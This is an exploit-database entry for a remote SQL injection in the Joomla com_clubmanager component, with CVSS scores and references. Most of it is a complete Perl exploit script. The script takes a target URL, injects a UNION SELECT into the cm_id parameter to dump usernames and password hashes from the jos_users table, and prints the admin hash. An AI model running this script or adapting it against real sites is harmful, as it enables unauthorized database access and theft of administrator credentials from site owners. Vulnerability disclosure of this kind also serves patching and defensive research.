Joomla com_clubmanager SQL Injection

2011-10-09 / 2011-10-10
Credit: Fl0riX
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl -w ######################################## #[~] Author : Fl0riX #[!] Script Name: Joomla com_clubmanager ######################################## print "\t\t \n\n"; print "\t\t Fl0rix | Bug Researchers \n\n"; print "\t\t \n\n"; print "\t\t Joomla com_clubmanager Remote SQL Injection Exploit \n\n"; use LWP::UserAgent; print "\nSite ismi Target page:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); $florix="concat(username,0x3a,password)"; $sakkure="jos_users"; $com="com_clubmanager"; $cw="+UNION+SELECT+"; $b = LWP::UserAgent->new() or die "Could not initialize browser\n"; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $host = $target . "/index.php?option=".$com."&tabla=equip&task=presenta&cm_id=284".$cw."1,".$florix.",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from/**/".$sakkure."+--+"; $res = $b->request(HTTP::Request->new(GET=>$host)); $answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){ print "\n[+] Admin Hash : $1\n\n"; print "# Baba Buyuksun bea Bu is bu kadar xD #\n\n"; } else{print "\n[-] Malesef Olmadi Aga bir dahaki sefere\n"; }

References:

http://www.securityfocus.com/bid/43821
http://packetstormsecurity.org/1010-exploits/joomlaclubmanager-sql.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top